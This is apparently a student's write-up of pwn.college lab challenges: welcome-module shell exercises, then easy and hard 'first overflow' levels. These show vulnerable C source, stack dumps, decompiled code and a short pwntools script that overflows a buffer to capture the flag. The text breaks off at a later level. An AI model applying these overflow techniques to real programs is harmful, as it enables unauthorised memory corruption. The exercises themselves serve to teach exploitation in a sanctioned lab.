pwn.college-start&intro to cybersecurty

Welcome to back

Start Here

start from The Challenge Environment

Challenge Programs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
hacker@welcome~challenge-programs:~$ ls
Desktop test test.c
hacker@welcome~challenge-programs:~$ cd /
hacker@welcome~challenge-programs:/$ ls
bin boot challenge dev etc flag home lib lib64 media mnt nix opt proc root run sbin srv sys tmp usr var
hacker@welcome~challenge-programs:/$ /challenge/solve
⠀⢀⣶⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⢀⣤⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠈⠙⠋⢁⣀⣠⣤⣀⣀⣀⣰⣿⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⣀⣴⣾⣿⣿⣿⣿⣿⠿⠿⠿⠋⠀⠀⠀⠀⣀⣤⣶⡆
⢠⣾⣿⣿⢿⣿⣿⣿⣿⣧⠀⠀⠀⣀⣤⣴⣾⣿⡿⠟⠋⠀
⠘⣿⣇⠀⠈⢻⣿⣿⣿⣿⣷⣶⣿⣿⣿⡿⠛⠉⠀⠀⠀⠀
⠀⢻⣿⡆⠀⠀⣿⣿⣿⣿⣿⣿⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀
⠀⠈⠛⠁⠀⠀⢹⣿⣿⡟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠘⣿⣿⡇⠀WELCOME⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀TO⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀THE⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢿⣿⠁⠀DOJO⠀⠀⠀⠀⠀⠀⠀

..........
Congratulations! Your flag is:
pwn.college{ck40CNYo6wx8izHyuc8p1jolqAv.QX0MDO0wSNzEDO0EzW}
hacker@welcome~challenge-programs:/$

The Flag File

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
hacker@welcome~the-flag-file:~$ ls
Desktop test test.c
hacker@welcome~the-flag-file:~$ cd /
hacker@welcome~the-flag-file:/$ ls
bin boot challenge dev etc flag home lib lib64 media mnt nix opt proc root run sbin srv sys tmp usr var
hacker@welcome~the-flag-file:/$ /challenge/solve
⠀⢀⣶⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⢀⣤⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠈⠙⠋⢁⣀⣠⣤⣀⣀⣀⣰⣿⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⣀⣴⣾⣿⣿⣿⣿⣿⠿⠿⠿⠋⠀⠀⠀⠀⣀⣤⣶⡆
⢠⣾⣿⣿⢿⣿⣿⣿⣿⣧⠀⠀⠀⣀⣤⣴⣾⣿⡿⠟⠋⠀
⠘⣿⣇⠀⠈⢻⣿⣿⣿⣿⣷⣶⣿⣿⣿⡿⠛⠉⠀⠀⠀⠀
⠀⢻⣿⡆⠀⠀⣿⣿⣿⣿⣿⣿⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀
⠀⠈⠛⠁⠀⠀⢹⣿⣿⡟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠘⣿⣿⡇⠀WELCOME⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀TO⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀THE⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢿⣿⠁⠀DOJO⠀⠀⠀⠀⠀⠀⠀

Making the flag world readable (chmod 644 /flag).
..........DONE! Go read /flag (e.g., using cat)!
hacker@welcome~the-flag-file:/$ cat /flag
pwn.college{MvN-jxZFF_-m8aP_tMtcj7TBMyV.QX5IzNzwSNzEDO0EzW}
hacker@welcome~the-flag-file:/$

Using Privileged Mode

1
2
3
hacker@practice~welcome~using-privileged-mode:~$ cd /
hacker@practice~welcome~using-privileged-mode:/$ sudo cat /challenge/secret
f8440e72b3a4ea48ff71530e2130ab4f847bcfda05d9d639b6692fd029abcace6f0fc28070256bda0f21

restart unprivileged

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
hacker@welcome~using-privileged-mode:~$ cd /
hacker@welcome~using-privileged-mode:/$ /challenge/solve
⠀⣠⣶⣿⣿⣶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠹⢿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⡏⢀⣀⡀⠀⠀⠀⠀⠀
⠀⠀⣠⣤⣦⡄⠀⠀WELCOME⠀⠈⠛⠿⣟⣋⣼⣽⣾⣽⣦⡀⠀⠀⠀
⢀⣼⣿⣷⣾⡽⡄⠀⠀⠀TO⠀⠀⣴⣶⣶⣿⣿⣿⡿⢿⣟⣽⣾⣿⣿⣦⠀⠀
⣸⣿⣿⣾⣿⣿⣮⣤⣤⣤⣤⡀⠀⠀⠻⣿⡯⠽⠿⠛⠛⠉⠉⢿⣿⣿⣿⣿⣷⡀
⣿⣿⢻⣿⣿⣿⣛⡿⠿⠟⠛⠁⣀⣠⣤⣤⣶⣶⣶⣶⣷⣶⠀⠀⠻⣿⣿⣿⣿⣇
⢻⣿⡆⢿⣿⣿⣿⣿⣤⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠟⠀⣠⣶⣿⣿⣿⣿⡟
⠈⠛⠃⠈⢿⣿⣿⣿⣿⣿⣿⠿⠟⠛⠋⠉⠁⠀⠀⠀⠀⣠⣾⣿⣿⣿⠟⠋⠁⠀
⠀⠀⠀⠀⠀⠙⢿⣿⣿⡏⠀⠀⠀⠀THE⠀⠀⠀⣴⣿⣿⣿⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀DOJO⠀⠀⣼⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣼⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
You are not running in Privileged mode! Hopefully, you have already run this
challenge in Privileged mode and used sudo to read /challenge/secret. If not,
restart this challenge in Privileged mode and do so, then come back to real
mode to try this again.

ENTER SECRET: f8440e72b3a4ea48ff71530e2130ab4f847bcfda05d9d639b6692fd029abcace6f0fc28070256bda0f21
CORRECT! Your flag: pwn.college{AIIwjIT9Pbu3NU-zZ-nA0DtxNVQ.QXwMzNzwSNzEDO0EzW}

Persistent Home Directories - One

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
hacker@welcome~persistent-home-directories-one:~$ cd /
hacker@welcome~persistent-home-directories-one:/$ /challenge/solve
.===
/ __) _
( ||_.''. {_}
---- | =/ \ /' :
WELCOME /\_~/() \__.' ____
---- TO |_ \ // |''''` |-'8,
-- _ : |_ '-[]___/ '.....\--.O
THE {_}'' .'\ // |':````
DOJO '...' /\\_/ `,
//|\ '.._.'
snd // //

Please create directory named "leap" in your home directory, and copy the
/challenge/secret file into it! The resulting file should have the path of
/home/hacker/leap/secret and should have the same contents as /challenge/secret.

Once you have done this, rerun this script and I will give you the flag.
hacker@welcome~persistent-home-directories-one:/$ cd ~
hacker@welcome~persistent-home-directories-one:~$ pwd
/home/hacker
hacker@welcome~persistent-home-directories-one:~$ mkdir leap
hacker@welcome~persistent-home-directories-one:~$ cd leap
hacker@welcome~persistent-home-directories-one:~/leap$ pwd
/home/hacker/leap
hacker@welcome~persistent-home-directories-one:~/leap$ cp /challenge/solve .
hacker@welcome~persistent-home-directories-one:~/leap$ ls
solve
hacker@welcome~persistent-home-directories-one:~/leap$ mv solve
mv: missing destination file operand after 'solve'
Try 'mv --help' for more information.
hacker@welcome~persistent-home-directories-one:~/leap$ rm solve
hacker@welcome~persistent-home-directories-one:~/leap$ ls
hacker@welcome~persistent-home-directories-one:~/leap$ cp /challenge/secret
cp: missing destination file operand after '/challenge/secret'
Try 'cp --help' for more information.
hacker@welcome~persistent-home-directories-one:~/leap$ cp /challenge/secret .
hacker@welcome~persistent-home-directories-one:~/leap$ ls
secret
hacker@welcome~persistent-home-directories-one:~/leap$ /secret
bash: /secret: No such file or directory
hacker@welcome~persistent-home-directories-one:~/leap$ /challenge/solve
.===
/ __) _
( ||_.''. {_}
---- | =/ \ /' :
WELCOME /\_~/() \__.' ____
---- TO |_ \ // |''''` |-'8,
-- _ : |_ '-[]___/ '.....\--.O
THE {_}'' .'\ // |':````
DOJO '...' /\\_/ `,
//|\ '.._.'
snd // //

The file is present and correct! In the next challenge, you will see that
the file stays around! For now, here is the flag for this challenge:
pwn.college{QW0B7-NUdA1ldPDnITZ2lIG1AXQ.QXxMzNzwSNzEDO0EzW}
hacker@welcome~persistent-home-directories-one:~/leap$

Your home directory in the dojo is persistent between challenges.

Persistent Home Directories - Two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
hacker@welcome~persistent-home-directories-two:~$ /challenge/solve
.===
/ __) _
( ||_.''. {_}
---- | =/ \ /' :
WELCOME /\_~/() \__.' ____
---- TO |_ \ // |''''` |-'8,
-- _ : |_ '-[]___/ '.....\--.O
THE {_}'' .'\ // |':````
DOJO '...' /\\_/ `,
//|\ '.._.'
snd // //

Congratulations! The file that you created in the last challenge is still
present in your home directory! Please keep in mind that, though the contents
of /home/hacker persist, other areas (such as /tmp, /challenge, and so on) do
not.

Anyways, here is your flag:
pwn.college{MmIb9OIE0kdDx2MEQOLXwTCDAj4.QXyMzNzwSNzEDO0EzW}
hacker@welcome~persistent-home-directories-two:~$


easy

Intro to Cybersecurity

Binary Explotation

Corrupting Memory

Your First Overflow (easy)

find binary-exploitation-first-overflow-w.c in /challenge/binary-exploitation-first-overflow-w.c

cat it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
hacker@binary-exploitation~your-first-overflow-easy:/challenge$ cat binary-exploitation-first-overflow-w.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;

#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}

void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}

void bin_padding()
{
asm volatile (".rept 3040; nop; .endr");
}

void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;

puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[26];
int win_variable;
} data = {0} ;

unsigned long size = 0;

puts("The challenge() function has just been launched!");

GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 26);
printf("large input length, and thus overflow the buffer.\n\n");

printf("In this level, there is a \"win\" variable.\n");
printf("By default, the value of this variable is zero.\n");
printf("However, when this variable is non-zero, the flag will be printed.\n");
printf("You can make this variable be non-zero by overflowing the input buffer.\n");
printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));

puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");

FIND_CANARY(cp_, cv_, bp_);

size = 4096;

printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 26);

printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

printf("You sent %d bytes!\n", received);

printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);

printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the canary is stored at %p.\n", cp_);
printf("- the canary value is now %p.\n", *(unsigned long*)(cp_));
printf("- the address of the win variable is %p.\n", &data.win_variable);
printf("- the value of the win variable is 0x%x.\n", data.win_variable);
printf("\n");

if (data.win_variable)
{
win();
}

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

challenge(argc, argv, envp);

:(

we get ‘char input[26];’

run program

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffecafa4120 (rsp+0x0000) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffecafa4128 (rsp+0x0008) | c8 52 fa ca fe 7f 00 00 | 0x00007ffecafa52c8 |
| 0x00007ffecafa4130 (rsp+0x0010) | b8 52 fa ca fe 7f 00 00 | 0x00007ffecafa52b8 |
| 0x00007ffecafa4138 (rsp+0x0018) | 00 00 00 00 01 00 00 00 | 0x0000000100000000 |
| 0x00007ffecafa4140 (rsp+0x0020) | a0 74 7d e4 6a 76 00 00 | 0x0000766ae47d74a0 |
| 0x00007ffecafa4148 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffecafa4150 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffecafa4158 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffecafa4160 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffecafa4168 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffecafa4170 (rsp+0x0050) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffecafa4178 (rsp+0x0058) | 00 6a 50 7e e7 c5 ed 52 | 0x52edc5e77e506a00 |
| 0x00007ffecafa4180 (rsp+0x0060) | c0 51 fa ca fe 7f 00 00 | 0x00007ffecafa51c0 |
| 0x00007ffecafa4188 (rsp+0x0068) | 98 26 40 00 00 00 00 00 | 0x0000000000402698 |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffecafa4120, and our base pointer points to 0x7ffecafa4180.
This means that we have (decimal) 14 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 112 bytes.
The input buffer begins at 0x7ffecafa4150, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 26 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.

In this level, there is a "win" variable.
By default, the value of this variable is zero.
However, when this variable is non-zero, the flag will be printed.
You can make this variable be non-zero by overflowing the input buffer.
The "win" variable is stored at 0x7ffecafa416c, 28 bytes after the start of your input buffer.

We have disabled the following standard memory corruption mitigations for this challenge:
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.

You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffecafa4150 (the start of the input buffer)
right up to (but not including) 0x7ffecafa5150 (which is 4070 bytes beyond the end of the buffer).
Send your payload (up to 4096 bytes)!
  • buffer starts at **<font style="background-color:#FFFFFF;">rsp+0x28</font>**
  • saved RIP is at **<font style="background-color:#FFFFFF;">rsp+0x42</font>**
    → size = **<font style="background-color:#FFFFFF;">0x42 - 0x28 = 0x1A = 26</font>** bytes.

The “win” variable is stored at 0x7ffedefdc3ec, 28 bytes after the start of your input buffer

so, put “111”after A*28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
hacker@binary-exploitation~your-first-overflow-easy:/challenge$ ./binary-exploitation-first-overflow-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffedefdc3a0 (rsp+0x0000) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffedefdc3a8 (rsp+0x0008) | 48 d5 fd de fe 7f 00 00 | 0x00007ffedefdd548 |
| 0x00007ffedefdc3b0 (rsp+0x0010) | 38 d5 fd de fe 7f 00 00 | 0x00007ffedefdd538 |
| 0x00007ffedefdc3b8 (rsp+0x0018) | 00 00 00 00 01 00 00 00 | 0x0000000100000000 |
| 0x00007ffedefdc3c0 (rsp+0x0020) | a0 84 62 98 20 7b 00 00 | 0x00007b20986284a0 |
| 0x00007ffedefdc3c8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffedefdc3d0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffedefdc3d8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffedefdc3e0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffedefdc3e8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffedefdc3f0 (rsp+0x0050) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffedefdc3f8 (rsp+0x0058) | 00 01 cb a3 2d 60 0b e1 | 0xe10b602da3cb0100 |
| 0x00007ffedefdc400 (rsp+0x0060) | 40 d4 fd de fe 7f 00 00 | 0x00007ffedefdd440 |
| 0x00007ffedefdc408 (rsp+0x0068) | 98 26 40 00 00 00 00 00 | 0x0000000000402698 |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffedefdc3a0, and our base pointer points to 0x7ffedefdc400.
This means that we have (decimal) 14 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 112 bytes.
The input buffer begins at 0x7ffedefdc3d0, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 26 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.

In this level, there is a "win" variable.
By default, the value of this variable is zero.
However, when this variable is non-zero, the flag will be printed.
You can make this variable be non-zero by overflowing the input buffer.
The "win" variable is stored at 0x7ffedefdc3ec, 28 bytes after the start of your input buffer.

We have disabled the following standard memory corruption mitigations for this challenge:
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.

You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffedefdc3d0 (the start of the input buffer)
right up to (but not including) 0x7ffedefdd3d0 (which is 4070 bytes beyond the end of the buffer).
Send your payload (up to 4096 bytes)!
AAAAAAAAAAAAAAAAAAAAAAAAAAAA11111
You sent 34 bytes!
Let's see what happened with the stack:

+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffedefdc3a0 (rsp+0x0000) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffedefdc3a8 (rsp+0x0008) | 48 d5 fd de fe 7f 00 00 | 0x00007ffedefdd548 |
| 0x00007ffedefdc3b0 (rsp+0x0010) | 38 d5 fd de fe 7f 00 00 | 0x00007ffedefdd538 |
| 0x00007ffedefdc3b8 (rsp+0x0018) | 00 00 00 00 01 00 00 00 | 0x0000000100000000 |
| 0x00007ffedefdc3c0 (rsp+0x0020) | a0 84 62 98 22 00 00 00 | 0x00000022986284a0 |
| 0x00007ffedefdc3c8 (rsp+0x0028) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffedefdc3d0 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffedefdc3d8 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffedefdc3e0 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffedefdc3e8 (rsp+0x0048) | 41 41 41 41 31 31 31 31 | 0x3131313141414141 |
| 0x00007ffedefdc3f0 (rsp+0x0050) | 31 0a 40 00 00 00 00 00 | 0x0000000000400a31 |
| 0x00007ffedefdc3f8 (rsp+0x0058) | 00 01 cb a3 2d 60 0b e1 | 0xe10b602da3cb0100 |
| 0x00007ffedefdc400 (rsp+0x0060) | 40 d4 fd de fe 7f 00 00 | 0x00007ffedefdd440 |
| 0x00007ffedefdc408 (rsp+0x0068) | 98 26 40 00 00 00 00 00 | 0x0000000000402698 |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7ffedefdc3d0
- the saved frame pointer (of main) is at 0x7ffedefdc400
- the saved return address (previously to main) is at 0x7ffedefdc408
- the saved return address is now pointing to 0x402698.
- the canary is stored at 0x7ffedefdc3f8.
- the canary value is now 0xe10b602da3cb0100.
- the address of the win variable is 0x7ffedefdc3ec.
- the value of the win variable is 0x31313131.

You win! Here is your flag:
pwn.college{kqfbVhNkVL9FeuKdiXC1ZCxUaaa.dlDOywSNzEDO0EzW}


Goodbye!

: )

Your First Overflow (hard)

ok, we have to utilize IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
int buf[26]; // [rsp+30h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+98h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
printf("Send your payload (up to %lu bytes)!\n", 4096LL);
if ( (int)read(0, buf, 0x1000uLL) < 0 )
{
v0 = __errno_location();
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
if ( buf[25] )
win();
puts("Goodbye!");
return 0LL;
}

canary?

1
2
3
4
5
6
7
8
9
10
11
hacker@binary-exploitation~your-first-overflow-hard:/challenge$ checksec binary-exploitation-first-overflow
[*] '/challenge/binary-exploitation-first-overflow'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

find all except PIE

sizeof(int) = 4,we should set buf[25] != 0

so,payload = b’a’ *100 + p64(1)

EXP:

1
2
3
4
5
6
7
8
from pwn  import *
context = ('./binary-exploitation-first-overflow')
p = process('/challenge/binary-exploitation-first-overflow')
p.recvuntil(b"Send your payload ")
payload = b'a'*100
payload += p64(1)
p.send(payload)
p.interactive()

python3 1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
hacker@binary-exploitation~your-first-overflow-hard:~/leap$ python3 1.py
[+] Starting local process '/challenge/binary-exploitation-first-overflow': pid 5526
[*] Switching to interactive mode
(up to 4096 bytes)!
[*] Process '/challenge/binary-exploitation-first-overflow' stopped with exit code -6 (SIGABRT) (pid 5526)
You win! Here is your flag:
pwn.college{4N2j6w96K0xCYKm1BtvLkg3TJZO.dBTOywSNzEDO0EzW}


Goodbye!
*** stack smashing detected ***: terminated
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive

ok

Precision (easy)

at easy level ,we can utilize source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
